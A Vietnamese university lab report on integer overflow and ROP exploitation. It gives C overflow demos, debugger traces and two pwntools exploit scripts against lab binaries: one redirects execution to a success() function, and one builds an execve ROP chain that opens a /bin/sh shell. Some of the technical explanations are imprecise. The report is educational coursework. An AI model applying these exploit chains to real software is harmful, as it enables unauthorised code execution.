

BÁO CÁO THỰC HÀNH

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Tên chủ đề: Integer Overflow ROP

GVHD: Nguyễn Hữu Quyền

Nhóm 09

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT521.011.ANTT.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Thị Hồng Lam	20521518	20521518@gm.uit.edu.vn
2	Nguyễn Triệu Thiên Bảo	21520155	21520155@gm.uit.edu.vn
3	Trần Lê Minh Ngọc	21521195	21521195@gm.uit.edu.vn
4	Huỳnh Minh Khuê	21522240	21522240@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Nội dung	Tình trạng	Trang
1	Yêu cầu 1	100%	2
2	Yêu cầu 2	100%	2-3
3	Yêu cầu 3	100%	3-5
4	Yêu cầu 4	100%	5-6
5	Yêu cầu 5	100%	6-7
6	Yêu cầu 6	100%	7-8
7	Yêu cầu 7	100%	8-11
Điểm tự đánh giá			?/10

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Yêu cầu 1. Sinh viên giải thích kết quả thực hiện, vì sao ta có được những kết quả như hình trên? Khi nào xảy ra tràn trên?

```
Open  [icon] b111.c ~/Lap_trinh_an_toan/Lab05/Lab5-resource/Res... Save [icon]
1 #include <stdio.h>
2
3 int main() {
4     short int a;
5     unsigned short int b;
6
7     // Gán giá trị cho a và b
8     a = 0x7FFF;
9     b = 0xFFFF;
10
11    // In kết quả
12    printf("%x + 1 = %hd + 1 = %hd\n", a, a, a + 1);
13    printf("%x + 1 = %hu + 1 = %hu\n", b, b, b + 1);
14    return 0;
15 }
16
```

Ví dụ phép tính bị tràn trên

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ gcc -o b111 b111.c
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ ./b111
7fff + 1 = 32767 + 1 = -32768
ffff + 1 = 65535 + 1 = 0
```

Kết quả thực thi

Các tập lệnh assembly của máy tính không phân biệt giữa số có dấu và không dấu, dữ liệu tồn tại và tính toán ở dạng nhị phân.

$7fff + 1 = 0111\ 1111\ 1111\ 1111 + 1 = 1000\ 0000\ 0000\ 0000 \Rightarrow$ chuyển sang số có dấu sẽ bằng -32768

$ffff + 1 = 1111\ 1111\ 1111\ 1111 + 1 = 1\ 0000\ 0000\ 0000\ 0000 \Rightarrow$ chuyển sang số không dấu là 0 (bỏ bit 1 do chỉ hiển thị 2 byte)

Yêu cầu 2: Sinh viên giải thích kết quả thực hiện, vì sao ta có được những kết quả như hình trên? Khi nào xảy ra tràn dưới?

```

Open  [icon] b112.c ~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resource Save [icon] [icon] [icon]
1 #include <stdio.h>
2
3 int main() {
4     short int a;
5     unsigned short int b;
6
7     // Gán giá trị cho a và b
8     a = 0x8000;
9     b = 0x0000;
10
11    // In kết quả
12    printf("0x%x - 1 = %hd - 1 = %hd\n", (unsigned short int)a, a, a - 1);
13    printf("0x%x - 1 = %hu - 1 = %hu\n", b, b, b - 1);
14    return 0;
15 }
16

```

Ví dụ phép tính bị tràn dưới

```

minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ gcc -o b112 b112.c
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ ./b112
0x8000 - 1 = -32768 - 1 = 32767
0x0 - 1 = 0 - 1 = 65535

```

Kết quả thực thi

Phép trừ trong hệ nhị phân có phân biệt giữa số có dấu và số không dấu. Ngoài ra phép trừ sẽ được hiểu là thực hiện phép cộng giữa số thứ 1 và biểu diễn số bù 2 của số thứ 2

Đối với phép tính số có dấu $0x8000 - 1$. Ta có biểu diễn các số như sau:

Biểu diễn nhị phân của $0x8000$: 1000 0000 0000 0000

Biểu diễn số bù 2 của 1: 1111 1111 1111 1111

$0x8000 - 1 = 1000\ 0000\ 0000\ 0000 + 1111\ 1111\ 1111\ 1111 = 1\ 0111\ 1111\ 1111\ 1111$

Do kiểu dữ liệu đang là int nên ta bỏ đi số 1 ở đầu và còn lại 0111 1111 1111 1111 hay 32767 trong hệ thập phân

Đối với phép tính số không dấu $0x0 - 1$. Ta có biểu diễn các số như sau:

Biểu diễn nhị phân của $0x0$: 0000 0000 0000 0000

Biểu diễn số bù 2 của 1: 1111 1111 1111 1111

$0x0 - 1 = 0000\ 0000\ 0000\ 0000 + 1111\ 1111\ 1111\ 1111 = 1111\ 1111\ 1111\ 1111$

Số trên tương đương với số 65535 trong hệ thập phân

Yêu cầu 3: Với data_len nhập vào là -1, hàm malloc() sẽ nhận giá trị tham số bao nhiêu? Read sẽ đọc chuỗi có giới hạn là bao nhiêu byte? Giải thích các giá trị?

Lưu ý: Báo cáo các giá trị sau khi đã chuyển sang hệ 10. Ví dụ: 0xB là 11

```

1  #include <stddef.h>
2  int main(void)
3  {
4      int len;
5      int data_len;
6      int header_len;
7      char *buf;
8      header_len = 0x10;
9      scanf("%uld", &data_len);
10     len = data_len + header_len;
11     buf = malloc(len);
12     read(0, buf, data_len);
13     return 0;
14 }

```

Chương trình malloc-overflow

```

0x08048514 <+73>:  call    0x8048390 <malloc@plt>
0x08048519 <+78>:  add     esp,0x10
0x0804851c <+81>:  mov     DWORD PTR [ebp-0x10],eax
0x0804851f <+84>:  mov     eax,DWORD PTR [ebp-0x1c]
0x08048522 <+87>:  sub     esp,0x4
0x08048525 <+90>:  push    eax
0x08048526 <+91>:  push    DWORD PTR [ebp-0x10]
0x08048529 <+94>:  push    0x0
0x0804852b <+96>:  call    0x8048370 <read@plt>
0x08048530 <+101>: add     esp,0x10
0x08048533 <+104>: nop
0x08048534 <+105>: mov     eax,DWORD PTR [ebp-0xc]
0x08048537 <+108>: xor     eax,DWORD PTR gs:0x14

```

Xem địa chỉ hàm malloc() để đặt breakpoint

```

[ DISASM / i386 / set emulate on ]
> 0x8048514 <main+73>  call    malloc@plt          <malloc@plt>
    size: 0xf

0x8048519 <main+78>  add     esp, 0x10
0x804851c <main+81>  mov     dword ptr [ebp - 0x10], eax
0x804851f <main+84>  mov     eax, dword ptr [ebp - 0x1c]
0x8048522 <main+87>  sub     esp, 4
0x8048525 <main+90>  push    eax
0x8048526 <main+91>  push    dword ptr [ebp - 0x10]
0x8048529 <main+94>  push    0
0x804852b <main+96>  call    read@plt           <read@plt>

0x8048530 <main+101> add     esp, 0x10
0x8048533 <main+104>  nop

[ STACK ]
00:0000 esp 0xffffd020 ← 0xf
01:0004 -034 0xffffd024 → 0xffffd03c ← 0xffffffff
02:0008 -030 0xffffd028 → 0xf7c184be ← '_dl_audit_preinit'
03:000c -02c 0xffffd02c → 0xf7e2a054 (_dl_audit_preinit@got.plt) → 0xf7dde10 (_dl_audit_preinit) ← endbr32
04:0010 -028 0xffffd030 → 0xf7f4e4a0 → 0xf7c00000 ← 0x464c457f
05:0014 -024 0xffffd034 → 0xf7fd6f90 (_dl_fixup+240) ← mov edi, eax
06:0018 -020 0xffffd038 → 0xf7c184be ← '_dl_audit_preinit'
07:001c -01c 0xffffd03c ← 0xffffffff

```

Hàm malloc() nhận tham số là 15

```

[ DISASM / i386 / set emulate on ]
0x804851f <main+84>    mov     eax, dword ptr [ebp - 0x1c]
0x8048522 <main+87>    sub     esp, 4
0x8048525 <main+90>    push   eax
0x8048526 <main+91>    push   dword ptr [ebp - 0x10]
0x8048529 <main+94>    push   0
0x804852b <main+96>    call   read@plt          <read@plt>
                                fd: 0x0 (/dev/pts/0)
                                buf: 0x804b5b0 ← 0x0
                                nbytes: 0xffffffff

0x8048530 <main+101>   add     esp, 0x10
0x8048533 <main+104>   nop
0x8048534 <main+105>   mov     eax, dword ptr [ebp - 0xc]
0x8048537 <main+108>   xor     eax, dword ptr gs:[0x14]
0x804853e <main+115>   je      main+122          <main+122>

[ STACK ]
00:0000    esp 0xffffd020 ← 0x0
01:0004    -03 0xffffd024 → 0x004b5b0 ← 0x0
02:0008    -030 0xffffd028 ← 0xffffffff
03:000c    -02c 0xffffd02c → 0xf7e2a054 (_dl_audit_preinit@got.plt) → 0xf7dde10 (_dl_audit_preinit) ← endbr32
04:0010    -028 0xffffd030 → 0xf7f6e4a0 → 0xf7c00000 ← 0x464c457f
05:0014    -024 0xffffd034 → 0xf7fd6f90 (_dl_fixup+240) ← mov edi, eax
06:0018    -020 0xffffd038 → 0xf7c184be ← '_dl_audit_preinit'
07:001c    -01c 0xffffd03c ← 0xffffffff

```

Read() đọc chuỗi có giới hạn là 4294967295 (bytes)

Giải thích:

- Vì khi nhập bằng hàm scanf(), kiểu dữ liệu quy định để nhập là %uld. Mà -1 biểu diễn dưới dạng hexan là 0xffffffff, ở dạng số nguyên không dấu là 4294967295.
 - Ta có len = data_len + 16 = 0xffffffff + 0x10 = 0x1 0000 000f
- Vì 0x1 0000 000f bị tràn số (vượt ra khỏi phạm vi kích thước 4 bytes của kiểu dữ liệu int) nên kết quả bỏ đi số 1, chỉ lấy đến 0x0000 000f (0xf). Mà 0xf biểu diễn dưới dạng số nguyên là 15 => Tham số của hàm malloc() là 15.

Yêu cầu 4: Sinh viên thử tìm giá trị của a để chương trình có thể in ra thông báo “OK! Cast overflow done”? Giải thích?

Số nguyên long int chiếm không gian bộ nhớ 8 byte trong kiến trúc 64 bit, trong khi số nguyên int chỉ có không gian bộ nhớ 4 byte, vì vậy khi ép kiểu long -> int, sẽ gây ra sự cắt ngắn bớt 1 phần giá trị (1 số lượng bit) trong số long để chuyển sang int.

Ta sẽ thử một số có giá trị là 1 tương đương với nhị phân trong long int là:

```
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0001
```

```

minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resource$ ./cast-overflow
1
Oops...

```

Kết quả hiển thị được

=> Kết quả hiển thị “Oops” tức là chương trình đã cắt bớt 4 byte cuối của giá trị để chuyển qua kiểu int.

Vậy chúng ta sẽ thử gán giá trị có 4 byte đầu khác không còn 4 byte cuối có giá trị tùy ý. Thử với số 4294967296 tương đương:

```
1 0000 0000 0000 0000 0000 0000 0000 0000
```

```
minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ ./cast-overflow
4294967296
OK! Cast overflow done
```

Kết quả thành công

Yêu cầu 5: Sinh viên khai thác lỗ hổng stack overflow của file thực thi vulnerable, điều hướng chương trình thực thi hàm success. Báo cáo chi tiết các bước thực hiện.

Xem lệnh assembly của hàm vulnerable

```
pwndbg> disassemble vulnerable
Dump of assembler code for function vulnerable:
0x0804848b <+0>:    push    ebp
0x0804848c <+1>:    mov     ebp,esp
0x0804848e <+3>:    sub     esp,0x18
0x08048491 <+6>:    sub     esp,0xc
0x08048494 <+9>:    lea     eax,[ebp-0x14]
0x08048497 <+12>:   push    eax
0x08048498 <+13>:   call    0x8048320 <gets@plt>
0x0804849d <+18>:   add     esp,0x10
0x080484a0 <+21>:   sub     esp,0xc
0x080484a3 <+24>:   lea     eax,[ebp-0x14]
0x080484a6 <+27>:   push    eax
0x080484a7 <+28>:   call    0x8048330 <puts@plt>
0x080484ac <+33>:   add     esp,0x10
0x080484af <+36>:   nop
0x080484b0 <+37>:   leave
0x080484b1 <+38>:   ret
End of assembler dump.
```

- Ta có thể thấy thanh ghi eax là thanh ghi chứa địa chỉ trả về, eax đang ở địa chỉ ebp-0x14.
- Ta tính được để ghi giá trị vào thanh ghi của eax phải thêm 24 ký tự bất kỳ và 4 byte chứa địa chỉ của hàm success.
- Lấy địa chỉ hàm success().

```

pwndbg> disassemble success
Dump of assembler code for function success:
0x0804846b <+0>:    push    ebp
0x0804846c <+1>:    mov     ebp,esp
0x0804846e <+3>:    sub     esp,0x8
0x08048471 <+6>:    sub     esp,0xc
0x08048474 <+9>:    push    0x8048560
0x08048479 <+14>:   call    0x8048330 <puts@plt>
0x0804847e <+19>:   add     esp,0x10
0x08048481 <+22>:   sub     esp,0xc
0x08048484 <+25>:   push    0x0
0x08048486 <+27>:   call    0x8048340 <exit@plt>
End of assembler dump.

```

Xem assembly của hàm success

```

Open  [+] exploit_yc5.py Save [≡] [–] [□] [×]
~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resource
1 from pwn import *
2 sh = process('./vulnerable')
3 success_address = 0x0804846b # change to address of success
4 ## payload
5 payload = b'a' * 24 + p32(success_address) # change X to your value
6 print(p32(success_address))
7 ## send payload
8 sh.sendline(payload)
9 sh.interactive()

```

Tạo 1 chuỗi payload

```

minhngoc@minhngoc-virtual-machine:~/Lap_trinh_an_toan/Lab05/Lab5-resource/Resour
ce$ python3 exploit_yc5.py
[+] Starting local process './vulnerable': pid 6441
b'k\x84\x04\x08'
[*] Switching to interactive mode
[*] Process './vulnerable' stopped with exit code 0 (pid 6441)
aaaaaaaaaaaaaaaaaaaaaak\x84\x0
You Have already controlled it.
[*] Got EOF while reading in interactive
$

```

Kết quả thành công

Yêu cầu 6: Sinh viên tự tìm hiểu và giải thích ngắn gọn về: procedure linkage table và Global Offset Table trong ELF Linux.

- Procedure Linkage Table (PLT): PLT là một bảng trong mã máy được tạo ra trong quá trình biên dịch. Nó chứa các trình đệm (thunks) để gọi các hàm ngoài. Khi một chương trình cần gọi một hàm từ một thư viện ngoài, PLT được sử dụng để chuyển hướng điều khiển đến GOT để lấy địa chỉ của hàm và sau đó gọi hàm đó.
- Global Offset Table (GOT): GOT là một bảng chứa các con trỏ trỏ đến các biến toàn cục hoặc các hàm bên ngoài. Mỗi mục trong GOT thực sự chứa địa chỉ của biến hoặc hàm.

tương ứng. Khi chương trình được thực thi, các địa chỉ trong GOT được điền vào thông qua quá trình liên kết động (dynamic linking) để chỉ đến các hàm và biến cần thiết.

Yêu cầu 7: Sinh viên khai thác lỗ hổng stack overflow trong file *rop* để mở shell tương tác.

```

0x08048e24 <+0>:    push    ebp
0x08048e25 <+1>:    mov     ebp,esp
0x08048e27 <+3>:    and     esp,0xffffffff
0x08048e2a <+6>:    add     esp,0xffffffff80
0x08048e2d <+9>:    mov     eax,ds:0x80ea4c0
0x08048e32 <+14>:   mov     DWORD PTR [esp+0xc],0x0
0x08048e3a <+22>:   mov     DWORD PTR [esp+0x8],0x2
0x08048e42 <+30>:   mov     DWORD PTR [esp+0x4],0x0
0x08048e4a <+38>:   mov     DWORD PTR [esp],eax
0x08048e4d <+41>:   call    0x804f960 <setvbuf>
0x08048e52 <+46>:   mov     eax,ds:0x80ea4c4
0x08048e57 <+51>:   mov     DWORD PTR [esp+0xc],0x0
0x08048e5f <+59>:   mov     DWORD PTR [esp+0x8],0x1
0x08048e67 <+67>:   mov     DWORD PTR [esp+0x4],0x0
0x08048e6f <+75>:   mov     DWORD PTR [esp],eax
0x08048e72 <+78>:   call    0x804f960 <setvbuf>
0x08048e77 <+83>:   mov     DWORD PTR [esp],0x80be410
0x08048e7e <+90>:   call    0x804f7e0 <puts>
0x08048e83 <+95>:   mov     DWORD PTR [esp],0x80be43b
0x08048e8a <+102>:  call    0x804f7e0 <puts>
0x08048e8f <+107>:  lea     eax,[esp+0x1c]
0x08048e93 <+111>:  mov     DWORD PTR [esp],eax
0x08048e96 <+114>:  call    0x804f650 <gets>
0x08048e9b <+119>:  mov     eax,0x0
0x08048ea0 <+124>:  leave
0x08048ea1 <+125>:  ret
End of assembler dump.
pwndbg> b * 0x08048e9b
Breakpoint 1 at 0x8048e9b: file rop.c, line 17.
pwndbg> run
Starting program: /home/huynhminhkhue/Downloads/Lab5-resource/Resource/rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
hello

```

Đặt breakpoint sau hàm get

- Nhập "hello" để xem địa chỉ chuỗi được ghi vào.


```

[ DISASM / i386 / set emulate on ]
> 0x8048e9b <main+119>      mov     eax, 0
0x8048ea0 <main+124>      leave
0x8048ea1 <main+125>      ret
↓
0x804907a <__libc_start_main+458> mov     dword ptr [esp], eax
0x804907d <__libc_start_main+461> call    exit                <exit>
0x8049082 <__libc_start_main+466> call    _dl_discover_osversion  <_dl_discover_osversion>
0x8049087 <__libc_start_main+471> test     eax, eax
0x8049089 <__libc_start_main+473> js      __libc_start_main+780  <__libc_start_main+780>
0x804908f <__libc_start_main+479> mov     edx, dword ptr [_dl_osversion] <0x80ec1e8>
0x8049095 <__libc_start_main+485> test     edx, edx
0x8049097 <__libc_start_main+487> jne     __libc_start_main+802  <__libc_start_main+802>
[ STACK ]
00:0000 esp 0xffffd020 → 0xffffd03c ← 'hello'
01:0004 -084 0xffffd024 ← 0x0
02:0008 -080 0xffffd028 ← 0x1
03:000c -07c 0xffffd02c ← 0x0
04:0010 -078 0xffffd030 ← 0x1
05:0014 -074 0xffffd034 → 0xffffd134 → 0xffffd2fb ← '/home/huynhminhkhue/Downloads/Lab5-resource/Resource/rop'
06:0018 -070 0xffffd038 → 0xffffd13c → 0xffffd334 ← 'SHELL=/bin/bash'
07:001c eax 0xffffd03c ← 'hello'
[ BACKTRACE ]

```

Vị trí bắt đầu chuỗi hello được ghi vào

```

[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0xffffd03c ← 'hello'
*EBX 0x80481a8 (_init) ← push ebx
*ECX 0xfbad2288
*EDX 0x80eb4e0 (_IO_stdfile_0_lock) ← 0x0
*EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) → 0x8067b10 (__stpcpy_sse2) ← mov edx, dword ptr [esp + 4]
ESI 0x0
*EBP 0xffffd0a8 → 0x8049630 (__libc_csu_fini) ← push ebx
*ESP 0xffffd020 → 0xffffd03c ← 'hello'
*EIP 0x8048e9b (main+119) ← mov eax, 0
[ DISASM / i386 / set emulate on ]

```

Vị trí thanh ghi ebp

- Tìm padding:

Ta có $0xffffd0a8 - 0xffffd03c = 0x6c = 108$

Mà $108 + 4 = 112$ (do địa chỉ trả về ở vị trí ebp + 4)

=> padding = $0xffffd0a8 - 0xffffd03c + 4 = 112$ (bytes)

```

huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

```

Tìm gadget để kiểm soát thanh ghi eax

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809dda2 : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
```

Tìm gadget để kiểm soát thanh ghi ebx, ecx, edx

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$ ROPgadget --binary rop --string '/bin/sh'
Strings information
=====
0x080be408 : /bin/sh
```

Tìm vị trí chuỗi /bin/sh

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$ ROPgadget --binary rop --only 'int'
Gadgets information
=====
0x08049421 : int 0x80
Unique gadgets found: 1
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$
```

Tìm gadget của lệnh system call int 0x80

```
1 from pwn import *
2 sh = process('./rop')
3 pop_eax_ret = 0x080bb196 # change to correct address
4 pop_ebx_ecx_edx_ret = 0x0806eb90 # change to correct address
5 int_0x80 = 0x08049421 # change to correct address
6 binsh_ret = 0x080be408 # change to correct address
7
8 #add payload
9 payload = b'a' * 112 # padding
10 payload += p32(pop_eax_ret) # add address to payload
11 payload += p32(0xb) # add a value to payload
12 payload += p32(pop_ebx_ecx_edx_ret)
13 payload += p32(0) # assign value to ecx
14 payload += p32(0) # assign value to edx
15 payload += p32(binsh_ret)
16 payload += p32(int_0x80)
17
18 print("Payload: ", payload)
19 ## send payload
20 sh.sendline(payload)
21 sh.interactive()
```

Tạo chuỗi thực thi các gadget

- Vì các thanh ghi ebx, ecx, edx nằm trong 1 gadget, mà gadget này nằm ở địa chỉ "0x0806eb90", nên chỉ dùng cần dùng 1 biến "pop_ebx_ecx_edx_ret" để chứa địa chỉ này.

- Chèn vào buffer 1 chuỗi 112 ký tự 'a', như vậy địa chỉ của gadget 1 (gadget kiểm soát thanh ghi eax) sẽ ở vị trí địa chỉ trả về, theo sau là giá trị được gán vào thanh ghi eax, địa chỉ các gadget khác, giá trị được gán vào ecx, edx, địa chỉ chuỗi "/bin/sh", địa chỉ của gadget của lệnh system call int 0x80. Như vậy thanh ghi esp lần lượt trở đến địa chỉ các gadget khác và được thực thi cho đến hết, cứ như vậy đến khi thanh ghi esp trở đến vùng khác.

```
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$ python3 exploit_yc7.py  
[+] Starting local process './rop': pid 60525  
Payload: b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
a\x96\xb1\x0b\x08\x0b\x00\x00\x00\x90\xeb\x06\x08\x00\x00\x00\x00\x00\x00\x00\x08\xe4\x0b\x08!\x94\x04\x08'  
[*] Switching to interactive mode  
This time, no system() and NO SHELLCODE!!!  
What do you plan to do?  
$ ls  
cast-overflow  exploit_yc7.py  malloc-overflow  rop  vulnerable  
$ pwd  
/home/huynhminhkhue/Downloads/Lab5-resource/Resource  
$  
[*] Interrupted  
[*] Stopped process './rop' (pid 60525)  
huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/Lab5-resource/Resource$
```

Kết quả khai thác thành công

Có thể mở shell tương tác để thực thi các lệnh ls, pwd, ...